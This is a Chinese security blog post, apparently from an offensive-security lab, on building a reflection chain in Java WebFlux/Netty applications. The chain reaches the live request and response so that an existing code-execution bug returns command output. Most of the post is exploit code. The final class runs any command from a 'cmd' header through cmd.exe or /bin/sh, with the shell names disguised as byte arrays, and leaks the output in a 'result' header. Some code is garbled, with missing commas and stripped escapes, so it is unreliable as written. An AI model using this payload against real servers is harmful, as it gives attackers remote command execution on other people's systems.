与众不同的Netty回显链挖掘

admin 2024年5月30日22:51:57评论1 views字数 14786阅读49分17秒阅读模式


Ha1ey@深蓝攻防实验室

前言

最近审计一款产品,运气比较好也是找到一处代码执行。工具启动!!生成回显JS代码,但是没有得到预期的结果,但是正常加载普通命令执行的字节码是没有问题的。于是回头看了一眼代码,发现这款产品主要是WebFlux Netty的,这就导致javax.servlet这个包直接无了。

按照之前的思路不管是Spring还是Tomcat 都依赖于javax.servlet。回显和内存马最关键的无非还是获取requestresponse。说搞就搞,IDEA启动!!!

Demo环境

IDEA直接创建一个Spring Reactive Web响应式Web,其他什么都不需要。

与众不同的Netty回显链挖掘

随便下一个断点

与众不同的Netty回显链挖掘

弯路一:只能获取request

这里用 @c0ny1 师傅写的Java Object Searcher根据request关键字找一下,最后发现一个满足条件的io.netty.handler.codec.http.DefaultHttpRequest

首先还是从线程中获取我们需要的对象reactor.netty.resources.DefaultLoopResources$EventLoop,获取线程

            Method method = Thread.class.getDeclaredMethod("getThreads");
            method.setAccessible(true);
            Object threads = method.invoke(null);

获取到reactor.netty.resources.DefaultLoopResources$EventLoop对象之后,通过反射获取属性值threadLocalMap

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

这里的EventLoop是一个静态内部类,我们需要的属性值在父类中

与众不同的Netty回显链挖掘

反射获取indexedVariables数组

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

遍历indexedVariables数组,找到我们需要的CodecOutputList$CodecOutputLists对象

与众不同的Netty回显链挖掘

通过反射获取其elements关于CodecOutputList的数组

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

贴一下获取request最终代码。

try {
    Method method = Thread.class.getDeclaredMethod("getThreads");
    method.setAccessible(true);
    Object threads = method.invoke(null);
    for (int i = 0; i < Array.getLength(threads); i++) {
        Object thread = Array.get(threads, i);
        if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
            Object threadLocalMap = getFieldValue(thread, thread.getClass().getSuperclass(), "threadLocalMap");
            if (threadLocalMap == nullcontinue;
            Object[] indexedVariables = getFieldValue(threadLocalMap, threadLocalMap.getClass(), "indexedVariables");
            if (indexedVariables == nullcontinue;
            for (Object codecLists : indexedVariables) {
                if (codecLists == null || !codecLists.getClass().getName().contains("CodecOutputList$CodecOutputLists")) {
                    continue;
                }
                Object[] elements = getFieldValue(codecLists, codecLists.getClass(), "elements");
                if (elements == nullcontinue;
                for (Object codeclist : elements) {
                    if (codeclist == nullcontinue;
                    Object[] array = getFieldValue(codeclist, codeclist.getClass(), "array");
                    if (array == nullcontinue;
                    for (Object obj : array) {
                        if (obj instanceof HttpRequest) {
                            HttpRequest httpRequest = (HttpRequest) obj;
                            if (httpRequest.headers().contains("test")) {
                                System.out.println(httpRequest.headers().get("test111111111111111"));
                            }
                        }
                    }
                }
            }
        }
    }
catch (Exception e) {
    e.printStackTrace();
}

按照之前的逻辑request对象和response是有关联的,找了一圈很遗憾这条路子只能获取到request

弯路二:request&response都可以获取,不通用

后面在找response的时候发现了新大陆,reactor.netty.http.server.HttpServerOperations这个对象同时存储着我们需要的request和response

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

还是从线程中获取reactor.netty.resources.DefaultLoopResources$EventLoop对象,前段部分不变。

这次我们需要遍历indexedVariables数组,从中取io.netty.channel.nio.NioEventLoop对象

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

通过反射获取unwrappedSelector属性值,进而得到Selector的子类KQueueSelectorImpl,通过KQueueSelectorImpl获取fdMap这个map

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

通过遍历value获取到MapEntryski

与众不同的Netty回显链挖掘

反射获取SelectionKeyImpl父类SelectionKeyattachment

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

此时的attachmentNioSocketChannel对象,获取NioSocketChannel父类DefaultAttributeMapattributes数组

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

io.netty.util.DefaultAttributeMap$DefaultAttribute父类AtomicReferencevalue属性

此时的valueHttpServerOperations对象,最后通过HttpServerOperations对象的nettyRequestnettyResponse得到我们需要的request和response

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

        try {
            Method method = Thread.class.getDeclaredMethod("getThreads");
            method.setAccessible(true);
            Object threads = method.invoke(null);
            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
                    Object threadLocalMap = getFieldValue(thread, "threadLocalMap");
                    if (threadLocalMap == nullcontinue;
                    Object[] indexedVariables = getFieldValue(threadLocalMap, "indexedVariables");
                    if (indexedVariables == nullcontinue;
                    for (Object nioEventLoop : indexedVariables) {
                        if (nioEventLoop == null || !nioEventLoop.getClass().getName().contains("NioEventLoop")) {
                            continue;
                        }
                        Object kQueueSelectorImpl = getFieldValue(nioEventLoop, "unwrappedSelector");
                        if (kQueueSelectorImpl == nullcontinue;
                        Map fdMap = getFieldValue(kQueueSelectorImpl, "fdMap");
                        for (Object obj : fdMap.values()) {
                            Object ski = getFieldValue(obj, "ski");
                            if (ski == nullcontinue;
                            Object attachment = getFieldValue(ski, "attachment");
                            Object[] attributes = getFieldValue(attachment, "attributes");
                            for (Object attribute : attributes) {
                                Object value = getFieldValue(attribute, "value");
                                Object request = getFieldValue(value, "nettyRequest");
                                Object response = getFieldValue(value, "nettyResponse");
                                if (request instanceof HttpRequest) {
                                    HttpRequest httpRequest = (HttpRequest) request;
                                    System.out.println(httpRequest);

                                }

                                if (response instanceof HttpResponse) {
                                    HttpResponse httpResponse = (HttpResponse) response;
                                    System.out.println(httpResponse);
                                }
                            }
                        }


                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

通过上面的代码已经可以获取到request和response对象了,但是这里的response对象并没有直接写入内容到body的方法

与众不同的Netty回显链挖掘

坑啊,又要重新找可以写入到返回包的地方

不依靠注入pipeline 回显

截止到目前查找有关资料netty输出http请求相应内容是通过向io.netty.channel.ChannelOutboundInvoker#writeAndFlush(java.lang.Object)这个方法中传入一个io.netty.handler.codec.http.FullHttpResponse对象,其中io.netty.handler.codec.http.FullHttpResponsecontent夹带着输出的内容。

下面是从线程中获取我们需要的io.netty.handler.codec.http.FullHttpResponse对象:

与众不同的Netty回显链挖掘

获取DefaultChannelHandlerContext对象

与众不同的Netty回显链挖掘

按照插入Handler回显的逻辑获取到这两个对象之后,只需要反射调用writeAndFlush方法即可,但是实际测试确实没有成功。

回到之前通过nettyResponse属性获取到的response对象,虽然没有写入body的方法

与众不同的Netty回显链挖掘

但是可以调用父类的headers方法写到返回包的header头中。

虽然但是。。。。。。。

此处应该。。。。。。。

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

本地环境demo代码如下:

boolean stop = false;
            Method method = Thread.class.getDeclaredMethod("getThreads");
            method.setAccessible(true);
            Object threads = method.invoke(null);
            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {

                    Object threadLocalMap = getFieldValue(thread, "threadLocalMap");
                    if (threadLocalMap == null) continue;
                    Object[] indexedVariables = getFieldValue(threadLocalMap, "indexedVariables");
                    if (indexedVariables == null) continue;
                    for (Object nioEventLoop : indexedVariables) {
                        if (nioEventLoop == null || !nioEventLoop.getClass().getName().contains("NioEventLoop")) {
                            continue;
                        }
                        Object kQueueSelectorImpl = getFieldValue(nioEventLoop, "unwrappedSelector");
                        if (kQueueSelectorImpl == null) continue;
                        Map fdMap = getFieldValue(kQueueSelectorImpl, "fdMap");
                        for (Object obj : fdMap.values()) {
                            Object ski = getFieldValue(obj, "ski");
                            if (ski == null) continue;
                            Object attachment = getFieldValue(ski, "attachment");
                            Object parent = getFieldValue(attachment, "parent");
                            Object pipeline = getFieldValue(parent, "pipeline");
                            Object tail = getFieldValue(pipeline, "tail");
                            ChannelHandlerContext connext = getFieldValue(tail, "prev");

                            Object[] attributes = getFieldValue(attachment, "attributes");
                            for (Object attribute : attributes) {
                                Object value = getFieldValue(attribute, "value");
                                Object request = getFieldValue(value, "nettyRequest");
                                Object response = getFieldValue(value, "nettyResponse");

                                if (request instanceof HttpRequest) {
                                    HttpRequest httpRequest = (HttpRequest) request;
                                    HttpResponse httpResponse = (HttpResponse) response;

                                    String s = httpRequest.headers().get("cmd");
                                    if (s != null && !s.isEmpty()) {
                                        String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s} : new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
                                        byte[] bytes = new java.util.Scanner(new ProcessBuilder(var12).start().getInputStream()).useDelimiter("\A").next().getBytes();
                                        httpResponse.headers().add("result",new String(bytes).replace("n"," "));
                                    }
                                    stop = true;
                                }

                                if (stop) {
                                    break;
                                }
                            }
                            if (stop) {
                                break;
                            }
                        }
                        if (stop) {
                            break;
                        }
                    }
                }
                if (stop) {
                    break;
                }
            }

实际环境

按照上面的demo代码打一下试试

与众不同的Netty回显链挖掘

很明显失败了。。。。断点看一下哪里出了问题

找了一圈,发现目标环境中并没有NioEventLoop这个对象,倒是有一个EpollEventLoop

与众不同的Netty回显链挖掘

查了一下资料,Netty包含了多种II/O模型,看了一下源码发现netty中有这些EventLoop。可以在原来的回显代码再加一个关于EpollEventLoop的判断,但是这样就会导致代码量过大,况且除此之外还有其他的EventLoop,所以后面再重新挖掘一处较为通用的方式。

与众不同的Netty回显链挖掘

通过之前这种方式获取response和request对象并不通用,下面换成从HttpServerConfig中获取,这条链可以很好的避免不同Netty环境中使用了不同EventLoop模型的问题。这条回显利用链是手工找的,@c0ny1师傅的Java Object Searcher项目没有扫描到,不知是何原因。

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

与众不同的Netty回显链挖掘

修改后的利用链代码测试回显成功

与众不同的Netty回显链挖掘

最终代码如下:

import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
import java.util.Set;

public class NettyEchoDemo {
    static {
        try {

            boolean stop = false;
            Method method = Thread.class.getDeclaredMethod("getThreads");
            method.setAccessible(true);
            Object threads = method.invoke(null);
            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread.getClass().getName().contains("NettyWebServer")) {
                    Object val$disposableServer = getFieldValue(thread,"val$disposableServer");
                    Object httpServerConfig = getFieldValue(val$disposableServer,"config");
                    Set<Object> channelGroup = getFieldValue(httpServerConfig,"channelGroup");
                    for (Object channel : channelGroup){
                        Object[] attributes = getFieldValue(channel,"attributes");
                        for (Object attribute :attributes){
                            if (attribute != null){
                                Object value = getFieldValue(attribute, "value");
                                Object request = getFieldValue(value, "nettyRequest");
                                Object response = getFieldValue(value, "nettyResponse");
                                if (request instanceof HttpRequest) {
                                    HttpRequest httpRequest = (HttpRequest) request;
                                    HttpResponse httpResponse = (HttpResponse) response;

                                    String s = httpRequest.headers().get("cmd");
                                    if (s != null && !s.isEmpty()) {
                                        String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{new String(new byte[]{9910910046101120101}), "/c", s} : new String[]{new String(new byte[]{479810511047115104}), "-c", s};
                                        byte[] bytes = new Scanner(new ProcessBuilder(var12).start().getInputStream()).useDelimiter("\A").next().getBytes();
                                        httpResponse.headers().add("result"new String(bytes).replace("n"" "));
                                    }
                                    stop = true;
                                }
                            }

                            if (stop) {
                                break;
                            }
                        }
                        if (stop) {
                            break;
                        }
                    }


                }
                if (stop) {
                    break;
                }
            }
        } catch (Exception ignored) {

        }

    }
    private static <T> T getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Object value = null;
        if (obj instanceof Field) {
            field = (Field) obj;
        } else {
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    clazz = null;
                } catch (Exception e) {
                    clazz = clazz.getSuperclass();
                }
            }
        }
        if (field != null) {
            field.setAccessible(true);
            value = field.get(obj);
        }
        return (T) value;

    }
}

最后,可惜还是没有找到写入response body的地方 ,言辞浅薄还望各位师傅多多指正。

参考文章

https://forum.butian.net/share/1571

https://cloud.tencent.com/developer/article/2377957

https://github.com/Snailclimb/netty-practical-tutorial/blob/master/example/http-server/README.md

https://github.com/c0ny1/java-object-searcher

https://juejin.cn/post/7142326187077926919#heading-5

https://www.cnblogs.com/wuzhenzhao/p/11221189.html


该文章首发于先知社区 https://xz.aliyun.com/t/14726


原文始发于微信公众号(轩公子谈技术):与众不同的Netty回显链挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月30日22:51:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   与众不同的Netty回显链挖掘https://cn-sec.com/archives/2798072.html

发表评论

匿名网友 填写信息